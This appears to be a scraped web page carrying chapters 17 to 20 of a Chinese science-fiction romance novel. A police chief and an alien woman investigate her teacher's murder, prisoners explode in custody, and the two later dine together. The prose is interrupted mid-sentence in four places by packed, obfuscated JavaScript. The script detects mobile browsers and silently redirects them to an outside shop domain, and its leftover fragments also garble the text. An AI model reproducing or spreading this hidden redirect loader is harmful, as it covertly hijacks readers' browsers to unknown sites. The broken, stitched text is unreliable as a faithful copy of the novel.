0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848836|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有那么一点面瘫帅的样子。 “好吧,你记住你说的话!这件事就原谅你了!”辛瑙奶凶奶凶的坚守着地,只要气势不弱,就是没输。 “好!一言为定!”端戊向辛瑙伸出了左掌。 辛瑙别别扭扭的和端戊击掌,康屿安见没有热闹可看了,就要骑上银河回去了。 银河还没动,端戊的瞳视就有电话了,康屿安瞬间想起来,差点忘了自己要弄一个瞳视的正事儿了。 她听端砚说,办理是要实名制的,还要带上自己的有效证件。她想问问端戊能不能办一个地球的临时证件。 “身份这么快就确定了?金安?从我这借走的那个治理水质的教授?”端戊一时忽略了康屿安,更没想到她还会与死者认识。 “金安?金教授?”康屿安从银河上跳下来,不可置信的向端戊走过去,裙摆挂到了银河尾巴却浑然不觉。 辛瑙很有眼色的跑过来替她把裙摆摘下来,康屿安毫无反应的继续走。 “你说的是死者叫金安?”康屿安柔若无骨的小手抓住了端戊的手腕,端戊感觉到了透骨的冰凉。 大大的紫色精灵眼里,明明已经蓄满了泪水,却倔强的控制不肯落下来,鼻尖微红,还轻微的抽搐了几下,两个人都看出了她在压抑着自己的情绪。 端戊在说与不说之间犹疑了,她不想和康屿安说谎,可是她又不想违规。 “你认识金安?”端戊想给自己一个合规的理由,可以如实和康屿安说。 “谁要认识那个通敌叛国的人!他是朝暮星的耻辱。”康屿安身形微晃,两只手同时抓住端戊的手腕。 这个回答倒是端戊没想到的,不过也能证明两个人是认识的。 “目前的死者状况,常人不太容易接受,经过DNA比认,可以确定死者身份,暂时先不安排认尸。可你还是要进来配合调查,有一些问题想和你核实一下。”端戊不想让康屿安遭受更强烈的刺激。 虽然她咬牙切齿的说不认识,可是端戊看得出来,她对死者,哪里是恨! 与上次不同,康屿安这次被端戊带进了询问室,坐的也不再是看似普通,实则不普通的黑色椅子上。而是更为舒适,颜色也能让人精神放松的治愈蓝色,桌面上是摄像设备和记录设备。 辛瑙跟着端戊坐在康屿安的对面,她们之间隔着同样治愈蓝的晶面桌子,康屿安拿起桌面上的苏打水吨吨吨地大口喝着。 一瓶、两瓶、三瓶,她一口气喝了三瓶苏打水,看得对面两个人目瞪口呆。 询问室的四面墙壁是奶油色,除了两扇窗和一扇门之外,再无他物。有这样简约治愈的环境,又干了三瓶水的康屿安情绪缓和了不少。 “康屿安,好一点了吗?”端戊语气尽可能温和的询问。 辛瑙表情怪异的看了端戊一眼:我坐在对面的时候,怎么没见你这么温柔? 逆徒!端戊回瞪了回去:哪哪都有她,啥啥都要争! “没事了,你们有什么话直接问吧。”康屿安已经打开了第四瓶水。 端戊和辛瑙默契的对视:谁说地球女生是水做的?明明朝暮星的小精灵才是。 “你和死者是什么关系?” 17. 第 17 章 (修) “我不认识死者。”康屿安看似恢复如初,紫色的精灵眼里却像山洞一样深邃。 端戊挑眉歪着一侧嘴角笑:你这回答对吗?还是我要领你去审讯室的,而不是在询问室? “嗯,不是大学老师?”端戊观察着康屿安眼里的平静,太正常了反而不正常。 “大学老师?从六七岁起,我就是他的研究对象了。”康屿安双手用力地捏瓶子,指节泛出朵朵白色小花,比康屿安看起来更悲伤些。 “研究对象是什么意思?”端戊想要站起来却撞到桌子,辛瑙吓了一跳,而她师父根本懒得搭理她,眼睛始终打量着康屿安。 对面两个人,这么大动静,康屿安眼神都没给她俩一个,自顾自的把第四瓶水喝完。 端戊从没这样喝过水,也第一次见有人这样喝水,她更多的是担心康屿安淹死自己。 “遁水,你不是一直都好奇吗?别人也好奇,就研究喽!”康屿安玩味的摇晃着手里的空瓶。 端戊感觉自己被戏弄了,她已经从星际警那调取了康屿安的背景信息,又不是任人欺辱的孤女:“你爸妈不管的吗?” 察觉到自己被拆穿,康屿安反而觉得没意思了,端戊从那张厌世的脸上,看到了一丢丢的认真。 “我五岁的时候,掉进水里很久才被发现,爸妈都已经不抱任何希望了。据潜水下来的人说,发现我时,我正坐在水下的泥沙上挖鹅卵石。”一件很神奇的事情,被轻描淡写得像喝水一样寻常。 端戊和辛瑙的脑回路碰撞在一起:这不又是一个身负异能的人吗? “金教授还有其他身份吗?”端戊骨节分明的手轻敲桌面,感觉康屿安似乎有些平静过头了,甚至有些冷漠。 “你们不都做背调了吗?不知道他是朝暮星水文研究所的所长?”康屿安两个食指不停的绕圈,一对紫耳朵烦躁的轻抖。 “你最后一次见金教授是什么时候?”端戊想确定凶手针对朝暮星还是地球,可是康屿安有自己的小心思。 端戊也不清楚戳到了康屿安的哪根肺管子,紫耳朵突然像是踩到了电门上一样抖动。 “五年!我五年没见到他了!那时候所有的人都说他勾结了秃鹫星!说水质被镉污染,核心机密被窃取都是他干的!我根本不相信的!可是金教授突然联系我,让我一个人下去不要告诉我的父母。我就去了!他说他要走了,想把朝暮星所有的固定资产留给我,被我拒绝了!谁稀罕要他那些东西!” 康屿安垂下双眸,紫耳朵也像是罚站一样没有刚刚的精神头:那个以为哪天会再见的人,竟然再也见不到了,那一面竟然是永别,而自己还说了很多伤人的话。 “他就没说些和泄密、污染有关的事?”端戊觉得那晚他一定是有重要的事情和康屿安说,不仅仅是道别和交付家产那么简单。 康屿安感觉大脑像是刚经历了一场混战,很难拼凑出一段完整的。 那晚她的情绪太激动了,叛逆期的孩子感觉自己遭遇了背叛,无论如何都是不能接受的。 而现在她竟然有些不能原谅自己了。 “他就是骗子!他说让我信他,是有人要逼走他。他说了稳定后会联系我,却从来没有过任何消息……”康屿安没想到多少是关于那晚的,更多的是她的童年、少年的记忆。 端戊从冷藏柜里拿出来两瓶冰水,放到了康屿安的面前,同时把一份金安寄快递的信息表放在他面前。 信息表的内容并不多,四年多就一页,收件地址只有一个,是朝暮星。 “你看看这个地址你知道吗?”端戊用椭圆干净的指甲,按在唯一的地址上。 “这是我家!”康屿安探身凑近了信息表,生怕自己看错了,确认无误后,倏地抓起端戊的手,仰头看向她。 “为什么我没收到,他每年都有准时给我寄生日礼物,我怎么一次都没收到?”比恨更可怕的,是恨错了。 端戊手指被攥的生疼,感觉到康屿安手心里沁出冷汗,紫色眼眸里的光也被震碎了,和泪水一起被压制在眼底。 康屿安强撑的坚强和倔强全部变成回旋镖,咻咻咻的戳在端戊心上,钝痛钝痛的。 “按照你们朝暮星的法规,特殊身份的信件物品,是要被拦截检查的,至于为什么最后没到你手里,可能和镉污染动乱有关吧。”不会安慰人的端戊,遇到了最想安慰的人,还要恪守自己的身份。 撕裂感真的太难受了! “是什么样的礼物并不重要啦!礼物不就是为了表达爱意,传达爱意的吗?你现在知道了你的老师一直惦记你,也一直爱你啊!也算是一件开心的事了。我们会找到凶手慰籍你老师的亡灵的。” 辛瑙的新脑子就不用顾及那么多了,端戊有一瞬的羡慕了,那是没成为端局前的端戊。 “谢谢!”康屿安的声音轻隐若无,放开了端戊的手继续大口的喝。 端戊感觉到冰冷的手刚刚温热,就被放开了,渐渐又恢复了最初的低温。 “金教授和你父母的关系怎么样?”端戊倚坐在康屿安旁边的桌沿上,一条胳膊挂着,一条胳膊撑着桌沿,伸出一条大长腿,侧头看着康屿安。 “我们两家世交,金教授和我爸爸同年同月出生,如果当时是一个男娃一个女娃,那就定下娃娃亲了,可能就没我妈妈什么事了。” 康屿安低头揉搓着衣角,躲避了端戊探究的视线,她知道端戊在想什么。 “汤快凉了吧?走,去我办公室一起喝汤……”端戊却没继续深究,拎起保温壶,下巴轻扬示意康屿安和她走。 “师父,我不去喝汤吗?”辛瑙发现端戊竟然拿她当透明人,自己是有徒弟的人了,心里就没点数吗? “还有活等着你呢,带上证件,领上审讯科的内勤机器人,去CEDF(地球防御部队)提审犯人,我已经打过招呼了,去了看机器人怎么审讯,多和机器人学习……” 不提醒还好,一提醒还有活了。端戊不是记仇的人,有仇都是当场就报的,所以辛瑙今天没有喝汤的命,只有学习的命。 “师父,你没看见她喝了一肚子的水啊?她还喝得下去汤吗?”辛瑙是真把说出去的话当成泼出去的水了,一点都不记得。 “早点去,还能赶上按时下班!”端戊皮笑肉不笑的提醒,虽然根据她不太多的经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848837|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 验,这事儿并不太好说。 不过,今天她想准时下班,她想和康屿安一起回去。 端戊把康屿安带回自己也不太熟的办公室,沙发上的人从王校长变成了康屿安,整个办公室都变得不那么严肃了。 端戊把汤倒进碗形保温盖,奶白的汤溢出来不属于地球的香气,也不属于端妈的手艺。 “端砚伤的是屁股吧?”端戊想起康屿安送汤时的说辞,反过来揶揄她。 “知道,端砚也这样说的。”紫潭似的精灵眼撇了一眼端戊:真是亲姐妹,烦人的点都一模一样。 骨头汤含在嘴里,香气缠绕口舌,浸透味蕾后才缓缓的咽下。 端戊记得康屿安想要帮忙又无处下手的样子,一看就是娇养的,没想到还有这手艺呢: “我以为你不会煮饭。” “当然不会,可汤不一样,我说我能驾驭汤的灵魂你信吗?”经历过生死后,康屿安是真不把端戊当外人,什么都能说的。 如果换做是别人,端戊肯定认为是说笑的,可是康屿安,是她亲眼见怎么遁走的。 “这么一说,好像还真是有灵魂的汤,好喝!喏,你不尝尝自己的手艺啊?”端戊舀起一汤匙的奶白,送到康屿安的唇边。 隔着氤氲升腾的热气,康屿安粉嫩的唇瓣似乎都沾染了香甜。 “你用过的!”小精灵嫌弃的撇嘴躲闪,这么没有边界感的吗? “你说什么?”端戊轻晃着手里的汤匙,奶白色的满月荡漾成波。 “你用过……”康屿安毫无防备的重复,话还未说完,一勺汤已经被塞进了嘴里。 哪怕已经闭上了嘴巴,还是有从嘴角渗出的汤水,在瓷白的皮肤上滑过,马上就掉到白色的领子上了。 端戊手疾眼快的用食指阻挡住,转过大拇指的指肚擦拭康屿安脸颊的汤汁。 再看康屿安,耳朵上的绒毛已经炸开了,眼里喷射的小火苗快把端戊炼了。 当看到端戊手里扬起的汤匙,不知道怎么就从银色的变成了另一个白色的了,嘴里准备吐出来的汤咕咚一声咽了下去。 端戊是有些哄人的小把戏的。 没喝到汤的辛瑙却吐出来了,而且吐的昏天暗地。 “她自己不来,偏偏让我来?是不是预判到要发生这样的事了?”辛瑙接过机器人内勤递过来的纸巾,感觉自己的苦胆都碎成渣了,她现在就是一个苦渣。 辛瑙没等到任何的回应,机器人能给与的心灵抚慰也仅限于此了。 “什么嘛!还没有我家的保姆机器人能提供情绪价值呢!”辛瑙很快忘记了一纸之情,把人家的好遗之脑后。 苦渣女! CEDF一个圆脸士兵,暖心的替辛瑙送来一杯水。 “谢谢……你们这经常发生这么惨烈的事吗?”辛瑙已经吐到翻白眼了。 “我入伍两年了,也是第一次碰见……”圆脸士兵揉揉鼻子,有些腼腆。 “好,算端戊是清白的……哇!”辛瑙一眼瞟见自己牛油果色的篮球鞋上,躺着一片血红新鲜的肉丝,顿时又忍不住了。 “呕!帮我连接端局的瞳视……” 18. 第 18 章 浓情浓意汤还没喝完,辛瑙没心没肺的视频便弹出来了。 端戊的心咯噔一下:这是给自己养了个崽儿吗?屁大点事儿,动不动就找妈妈? 康屿安倒是挺着急回去的,见端戊有事赶紧就收拾保温壶。端戊抱着空碗,说什么都不肯撒手。 逆子!逆子!都打发出去了,也没拦住她打扰啊! “这么快就完事了?是不是没好好和机器人学习啊?”看着悬浮屏里的逆子,端戊一点都爱不了,只想做个严师。 至于修行,全看她自己造化吧。 吐成黄疸脸的辛瑙委屈巴巴的,像被别人家小崽子揍了的幼崽。 “哎怎么回事儿?走的时候不还是个白的吗?就这么一会儿怎么就变成黄的了?你那出什么事儿了?” 端戊发现,没事发生时自己爱不了一点,一旦辛瑙被欺负了,她立刻满级战斗状态。 就心疼崽儿的这会儿工夫,手一松空碗就被康屿安抢走了。 “武将执权果然是活着就好。”康屿安拿起保温壶,转身就走。 “我是文武兼修的好吧,看事情不要过于片面哦!”端戊怀疑康屿安对她有什么误会,了解不够深入? 辛瑙刚压下去的翻腾感似乎又涌上来了。 “师父,你的嘴是真严啊!你可从没说过咱们的工作性质这么刺激啊!” “说正事!怎么了?”端戊只关心崽儿被谁欺负了! 当然也关心今天小乌龟的副驾驶有没有人,端戊快步追上康屿安:“你要不要等我一起回去?” 康屿安瞥了眼脸色蜡黄却还有精神吃瓜的辛瑙,抽回手腕没再搭理她。 “现在朝暮星人很有可能是行凶目标,不太放心她一个人回去……”端戊回到悬浮屏前。 “懂得!师父!你敢想?刚刚一个活生生的人,恶狠狠地坐在我对面,还没等我打开审讯系统,他爆炸了!头颅像烟花一样飞出去、落下来,滚到我脚边。师父,吓死我了,魂都丢了!桌子上、墙上都是碎肉!根本呼吸不了,血腥味儿能呛死你……” 辛瑙忽地就激动起来了,手脚并用的比划。 “停停停!你先缓缓,我问问程师兄怎么个情况。”端戊及时打断了辛瑙,保全了一个师父在徒弟面前的颜面。 再不打断那死孩子,端戊刚喝进去的那点汤就保不住了。 程韩现在可没时间搭理小师妹,带领穿着厚重排爆服的CEDF士兵,站在演练场的空地上,一队印着红色十字标识的卫生科机器人推着仪器在一旁待命。 程韩侧歪着头看头顶的太阳,战争结束后又恢复了从前刺眼的光晕,只是身边少了那个人。 爆破组的机器人,押解着剩余的五个人走过来后,站得远远的。 程韩收回视线看向警卫员,魏智心领会神地下指令给卫生科。白色涂层的卫生队机器人,各自推着核磁探测仪向站成一排的五个人走去。 这时,几个人已经发现少了大飞,再看到推着不明物体向自己走来的机器人,一众人已经没有了刚走过来时死猪不怕开水烫的嘴脸。 “大飞哪去了?他是不是先撂了?这个没骨气的狗东西!”长毛怪呸了一口,掩饰心里的恐惧。 “大飞哥不会的!”别看傻憨憨平时挨骂最多,心却是最清澈的,第一时间袒护着大飞。 “他们推什么玩意儿过来了?他们想干吗?”大熊的麻秆腿哆嗦着,脚下是一摊水迹,裤子的颜色也深了。 “没出息的玩意!还能干嘛?给咱们用刑呗!”想不到瘦高个反而是个有骨气的,虽然牙齿碰撞的节奏有点乱,但是嘴硬得很。 “用、用刑?你们不能这么干,这么干是违规……”络腮胡最怕疼了,立刻就绷不住了。 “砰!”猝不及防的一声巨响。 人高马大、虎背熊腰的络腮胡,瞬间便碎的胡子都找不见了。新鲜的碎肉铺在地上,甩在机器人的身上,兜头罩在他小伙伴的头上。 尤其是他身边的瘦高个,刚刚还是个有骨气的,这会儿,脚底下也是湿了一片,失去理智撕心裂肺的大喊大叫。 “怎么就处决了呢!你们审都没审呢!怎么就暴力处决了呢!” “处决尼玛!”程韩还从没被这么挑衅过。此刻他就像是一只刚被拍了屁股的老虎,还未来得及动怒呢,胡子又被拔的一根不剩。 演习场瞬间成为疯狂动物城,剩下的五个人顾不上满头满脸的碎肉,如同尾巴上绑了鞭炮狂炸的困兽,四处逃窜。 刚刚炸了一个,韩城就更能确定这几个人的体内被埋下了定时□□,他只是没明白,对方是怎么准确掌握这个爆炸时间的。 难道说,有不干净的爪牙,伸进了CEDF? 程韩眼下没时间考虑这个问题,发了疯的动物被机器人团团围住,更增加了他们的恐惧。 就在恐惧膨胀到极致时,他们有序的爆炸了,像在盛大节日沸腾的礼炮,一个、两个、三个、四个。 不同形态的困兽眨眼睛就变成了相同颜色的血肉,四处纷扬,不知道是幕后黑手在得意庆祝,还是肆意挑衅。 演习场恢复了安静,程韩彻底平静不下来了! “操操操!” 这不等同于明晃晃的向军方精准投雷吗?精准到引爆的时间、顺序都手拿把掐的不出一点错,简直就是拎着程韩的脖领子扇他耳光,还得问他爽不爽。 如果机器人有表情,那么在场所有机器人都是懵逼的——任务目标哪去了?黏糊的一头一脸是些什么玩意? 靶标、靶车看上去也像活起来一样,全身血淋淋的。 “魏智,通知黑豹二队负责勘察取证,尽快给我一个结果!我看看到底是谁这么猖狂。封锁消息,我单独汇报,丢人丢到姥姥家了!” 没走出多远,便看到听到爆炸声寻过来的辛瑙,已经一脸绿的吐绿水了。 空中交错着十几个悬浮屏的工作室里,屏幕中间坐着一个梳着哪吒髻,十七、八岁的姑娘,两个蓝紫色的小啾啾上绑着两根荧光绿的发带,一直垂到肩上。 涂成紫色的小嘴巴,不停的咀嚼着西瓜味的口香糖。 能戳死人的食指敲击着连接了不同悬浮屏的控制键,像是奏响胜利音符一样,一个个敲响。 “哈哈哈,完美收官,销毁了最后一点线索,看你们有没有本事找到姐!”叶白在最后一个悬浮屏里,欣赏自己的杰作。 一个军绿色身影,黄绿色的军靴离浮尘瞳只剩下几步之遥时,叶白悬空了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848838|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 会儿的荧蓝色手指甲,轻飘飘的敲下去。 “啪!” “噗!” 最后一个浮尘瞳,像是放了个又臭又哑的屁,彻底地消失了,随之悬浮屏也陷入黑寂。 “叶叶!时间来不及了!”标准贵妇气质叶意秦随意搭配了一身慵懒风的套装,站在在楼下催促着。 “来啦来啦来啦……我亲爱的妈妈!”叶白人畜无害地哼着不成调的歌,蹦跳着下来了。 “说了多少次了,下楼用走的,你小时候摔掉门牙的事儿……你可能也不记得了。你这头发又换了个什么颜色,还有你那指甲……” 叶意秦话还没说完,叶白已经冲到她面前,紫色的小嘴巴狠狠的亲在细腻素颜的脸上。 “因为女儿随爸爸呀,所以妈妈看不惯我。可是我也和爸爸一样爱你哦,可惜,妈妈只爱我,并不爱爸爸。” “你爸爸?他就不是好人,你不要学他。”叶意秦听到叶白提起了她爸,剥皮鸡蛋一样的脸蛋上,顿时就挂上了霜。 “不提他,不提他,我温柔美丽的妈妈,今天想吃哪家的啊?您今天这套衣服手感真好,摸上去就舒服……” 端戊对着线索板上面的照片,看了整整一下午,看到生理不适、克服生理不适。 “辛瑙,你那边完事了吗?什么时候回来啊?蛇头码头案件我可能发现了一些新的线索,我们一起过去看看。” 端戊从悬浮屏里看到橘黄色的车内饰,猜测辛瑙应该是离开CEDF了。” “师父,我今天受的刺激太大了,我最后吐的都是绿水了,你看我这张脸,都绿了,我回不去了……”活驴一样的辛瑙也能露出她气血不足的一面。 程韩把辛瑙审讯时大飞突然自爆,以及排雷时爆炸的视频全部都传过来了。 看着辛瑙的可怜样,端戊开始自省、内疚自己咋能是个没有多少爱的师父呢?想想小老头多疼自己啊! 但听见犟驴要跑,好不容易积攒起来的那点爱,瞬间就烟消云散了。 “这是你说走就走的地方吗?那是需要审批的,擅自离职是要受到处分的!你是想成为逃兵吗?” “师父你在说啥!哪个说要离职了?我今天真的颓了!废了!来不了了!我要请假回家休息了,师父你到底有没有人性啊?不关心我也就算了,还准备处分我?”辛瑙戏精附体,双手捶胸,俨然寻死觅活的样子。 “你也没让师父把话说完啊!今天CEDF发生的状况,程师兄已经传给我了,我正想说你今天辛苦了,早点回去休息吧。” 话音刚落,端戊发现悬浮屏断开连接了:“小崽子!没礼貌!” 看看时间也差不多了,端戊也准备下班了。电梯下到停车场,便看到自己的小乌龟孤独的趴在那里。 “就差一点儿,今天下班就有伴儿一起回去了。”端戊看着空荡荡的停车场,莫名有种孤寡感呢。 不管怎么样,能够按时下班,还是一件值得开心的事的。 很快,更开心的事还真的来了。 门卫打开清异局那扇苍蝇跑出去都得累残疾的大门,端戊看到了路边的石墩上,坐着一个忽闪着紫耳朵的人,雕塑一样保持着一个姿势,盯着脚尖看。 是康屿安! 19. 第 19 章 紫色的小耳朵被浅灰色的蓬松卷发簇拥着,远远看上去像是一个小恶魔。 端戊想不到康屿安会在门口等她,甚至有点难以置信,莫名有种失而复得的喜悦。 没得到过,也未失去过,也不知道这么复杂的情绪是从哪里冒出来的。 端戊缓缓把车停在路边,雕塑人康屿安也许没听到、也许懒得动,一直保持着端戊看到她时的样子。 走近了端戊才发现,康屿安不是在COS雕塑,而是一直在哭,已经把膝盖位置浸湿的像是有两块深色补丁在上面。 金教授的事情,她并不是毫不在意的,恰恰相反,她像是失去亲人一样难过。 走到康屿安的身边端戊并没有打扰她,安静的蹲在她的对面,盯着她膝盖处的‘补丁’看。 端戊失去过亲人,她的爸爸,所以她现在能够共情康屿安。 那段时间,白天在熙攘的人群里,晚上在漆黑的窗户外,她都能感觉到爸爸的身影,就站在那里看着她。 每时每刻都想否认事实,却不得不面对现实。每一次被迫接受现实时,她的心都像是被剜下一块,痛到呼吸困难,需要大口大口地喘气。 她又不能在妈妈和端砚面前哭,还要努力做家里最坚强的那个,宽慰她俩。 端戊蹲在那里很久,久到她感觉到有无数只小蚂蚁,啃啮着两只脚,一路啃着爬到小腿。 “你怎么才出来!等了这么长时间,水都没有……”康屿安终于抬起头,像一条搁浅的鱼,微张唇瓣、嗓子微哑。 看来是真的渴坏了,小耳朵是从火星来的吗? “好咧,这就去给你拿水喝!”说话还能这么冲,挺好的。端戊心里是有些得意的,你看,还真是在等我! “哇!”端戊刚站起来,双腿就像中了暴雨梨花针一样酸爽,攥紧双拳都没能控制住身形,不受控制的扑向康屿安。 端戊大脑中秒闪过各种的电影片段、小说情节,虽说老套,却还挺粉红泡泡的。 所有的泡泡和她一起破碎、定格在四十五度角。 “你,在试探我的底线吗?”康屿安软白的小手撑在端戊的直角肩上,傲娇的睥睨着她。 “这么聊天可就显得油腻了哦!你还不如当我是柔弱呢!”对端戊而言,油腻可比柔弱更具侮辱性。 “好,那你需要我撑多久啊?”康屿安当然知道端戊的腿麻了,她被自己的眼泪泡苦了,苦到没什么耐心。 “尽快哈,我咋不知道你这纤细的小胳膊这么有劲儿呢。”端戊出了清异局,原形就有那么一点控制不住了。 所以说啊,从小到大的那些个棍棒,没有一顿打是委屈的。 “你不知道事儿可多着呢?”康屿安又加了些力气,把端戊推出的更远些。 不管是不是错觉,她都闻到了些危险的味道,远离危险、保持清醒、事事警觉她可一刻都没怠懈过。 “呦?都有些什么事?要不展开说说?”端戊从没有和谁这个姿势聊过天,不单单新鲜有趣,怎么还有点朦胧不明的意思呢? “你体重多少?”康屿安可没她那么多想法,这会儿累着呢! “身高一米七三,体重五十五公斤,体脂率打败地球上的百分之九十八的人,怎么样,标准吧?”端戊下巴微扬,丹凤眼微眯,有种自得的得瑟。 康屿安那点逞强哪撑得住这份五十五公斤的豪气,手上一软,端戊就直直的压下去了。 紫色小耳朵嗖地绷紧了,眼睛也紧紧闭上,小脑瓜这会儿转得比任何时候都快:我四十公斤,对方五十五公斤,这个高度这个速度,砸在我身上,不会骨折的吧? 五十五公斤并没砸在四十公斤上,微凉的手落在了康屿安的右肩上,却没有多少重量。 康屿安缓缓睁开眼睛,浓密的蓝紫色羽扇轻巧地忽闪:核心力量就能支撑四十五度站姿? 端戊只觉得眼前蓝紫色的小扇子快要把自己扇起飞了,还在康屿安眼下的皮肤上,有一下没一下的投下阴影。夕阳晃进紫色的眼睛,闪着细碎的橘光。 小精灵一点毛孔都没有啊?是朝暮星的精灵都这样?还是只有她这样? 不是端戊没出息,实在是她没这么近的距离看过谁,更没看过精灵。 “需要帮你计时吗?你要这样看多久?”康屿安以为自己是有些幽默在身上的,其实真不太多。 她也是刚刚知道,原来漆黑的眼睛也很好看,水汪汪的像是能溢出来呢。 “那倒不必,走吧,别在这坐着了,辛苦你在这等我下班,带你去吃点新鲜的,朝暮星上没有的。” “你是替你和端砚一起道歉了吗?你们俩是预谋好的吗?”康屿安并不领情,歪头斜瞪着她。 端戊涌上一种不好的感觉,这其中是不是有什么误会? “端砚喊回了银河,我只能等你一起回去,我不记得路,怎么找回去?”康屿安突然想起来,刚刚自己坐在这里不是在难过、在哭的吗? 怎么被端戊一搅合,画风就变了呢?气氛也不一样了。 “端砚?”这倒是端戊没想到的,怎么晚上还得给端砚加个鸡腿? 端妈自从多了一个闺女,心情每天都是热气腾腾的蒸蒸日上。 厨房里,两个机器人备菜的备菜,分类的分类,机器臂轮圆了的忙活,端大厨早早站在门里等着大展厨艺了。 端砚撅着小屁股、迈着小碎步的跑到厨房:“妈,我姐有没有和你报备,晚上不回来吃饭了?” “你又知道?刚说的。”端大厨多少有点不乐意的,自己不回来就算了,还把她小耳朵闺女也拐走了。 看一眼撅屁股的闺女,好歹也是自己生的,该喂养还得喂养。 “妈,晚上那个咖喱鸡就不用做了。”端砚确认了端戊不回来吃饭,自己晚上加个餐,基本上也就稳了。 这个可不是凭着感应,而是做了端戊多年的妹,积攒出来的经验。 能在端戊身边,尤其是被她爱着,其实是件顶顶幸福的事儿。 端戊这人有些时候嘴是毒了点,可是温柔、惊喜、保护、呵护样样都拿得出手。 带康屿安来吃饭的这地儿,她自己都没来过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848839|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 端妈除了能打,饭也做的漂亮。只要是端妈知道的菜品,通通能味道不差的从她家的厨房端出来。 嗯当然还有更重要的原因,她和康屿安两个人吃这一顿,差不多需要端戊目前半个月的工资。 没啥特殊情况哪舍得? 走进云廊,两个人像是融入了童话的天空,云朵都是活的。 “这,不便宜吧?”虽然刚加入这个家庭没多久,康屿安对端妈那个道馆的收入,还有端戊那点微薄工资,心里还是有数的。 “低于这个氛围的环境治愈不了今天的你。”端戊站在门口机器人管家的触屏前,按照自己订餐留下的号码,查找用餐位置。 康屿安觉得现在的端戊刚刚好,有点暖,还有点治愈,不能再让她多说一句话,容易破坏氛围。 “什么东西跑过去了?”刚查到自己的餐号,端戊就感觉有人从背后撞过来,差点被撞到屏幕上。 “您好,这位顾客,刚刚从您身边跑过去的,是另外一位顾客,让您受到惊吓了,本店深表歉意。”还没等康屿安回答,机器人管家已经周到的回答了。 康屿安这时才有点明白,朝暮星和地球的区别,朝暮星还在拼服务的时候,地球已经开始拼机器人了。 她也是终于知道了,其实清异局有点穷。她之前接触的最多是清异局的机器人,再就是端戊家用的机器人,可没有这么智能的。 一直都是被误导了的,以为地球的机器人就是这水平呢。 康屿安和端戊只看到一个头上顶着俩啾啾,飘着两条绿发带的背影。端戊瞄了一眼康屿安的小耳朵,看向小啾啾,再看康屿安。 “想什么呢,那不是朝暮星人。”康屿安白了她一眼。 “真希望她也不是地球人!”端戊拉着康屿安的手,去找她俩的位置:“不要挣脱,这不安全,没看见刚跑过去了个炮弹吗?” 端戊预判了小耳朵的动作,又开始一本正经的胡说八道。而康屿安也确实感觉有一道视线始终在她的身上,盯得她心里毛毛的,也就任由着端戊拉着了。 在朝暮星,康屿安也算是世家大族的小公主了,可进入云廊用餐区,还是有种大开眼界的感觉。 这是一家空中悬浮自助餐厅,空中漂浮着大小不一的云朵,里面是双人、四人、甚至多人的私密就餐舱。 这些云朵可以在五十几米高的空间上下、前后行驶,在食物轨道上选取自己想吃的食物,会有机械臂伸出为自己取餐。 康屿安和端戊进入预定的云朵舱,刚刚像是猎物一样被盯着的不适感才消失了,就好像被隔在了舱外。 “你们警方现在是不是更侧重于凶手针对的是朝暮星人?”康屿安在隐私有保障的空间里,终于问出了压在她心里一下午的问题。 “未必,也不排除试图阻止地球饮用水治理,或者两种可能同时存在。”端戊如实回答,康屿安也算上死者家属吧。 “那好,我准备接替我老师的工作,你看我需要走哪些程序、需要办理哪些手续。”康屿安像一个战士一样,正色看向端戊。 20. 第 20 章 康屿安眼底的紫色浓郁成执法者的法袍,正义的徽章,让端戊心底的那点私心,惭愧的缩在角落不敢探头。 端戊无法拒绝康屿安的决定,那关系着全球的生计。也说服不了自己就这样答应她,那关系着她的生死。 “你知道自己将会面对什么样的危险吗?” “最坏也就是我老师的结果吧?” 康屿安很快被餐牌吸引了,食物区域划分并不是根据食物的种类,而是根据顾客的情绪和心情。连接意识、接受情绪测试后,根据测试结果可以制定情绪餐。 “你要不要试试?”康屿安指了指测试设备。 刚被康屿安的回答噎得差点翻白眼,端戊竟还鬼使神差地答应了,把左手放在一个水晶球上。 “请保持静止,不要移动,摸了我就不能摸她了,测试开始。”哎?这玩意儿疑似在开某腔。 过了大概半分钟,水晶球有答案了:“这位顾客,您在担心什么?什么事都可以先丢一半,吃好这餐再说,看看这份厘清食谱,专门为您制定的!” 康屿安歪头看:“你是在担心我吧?” 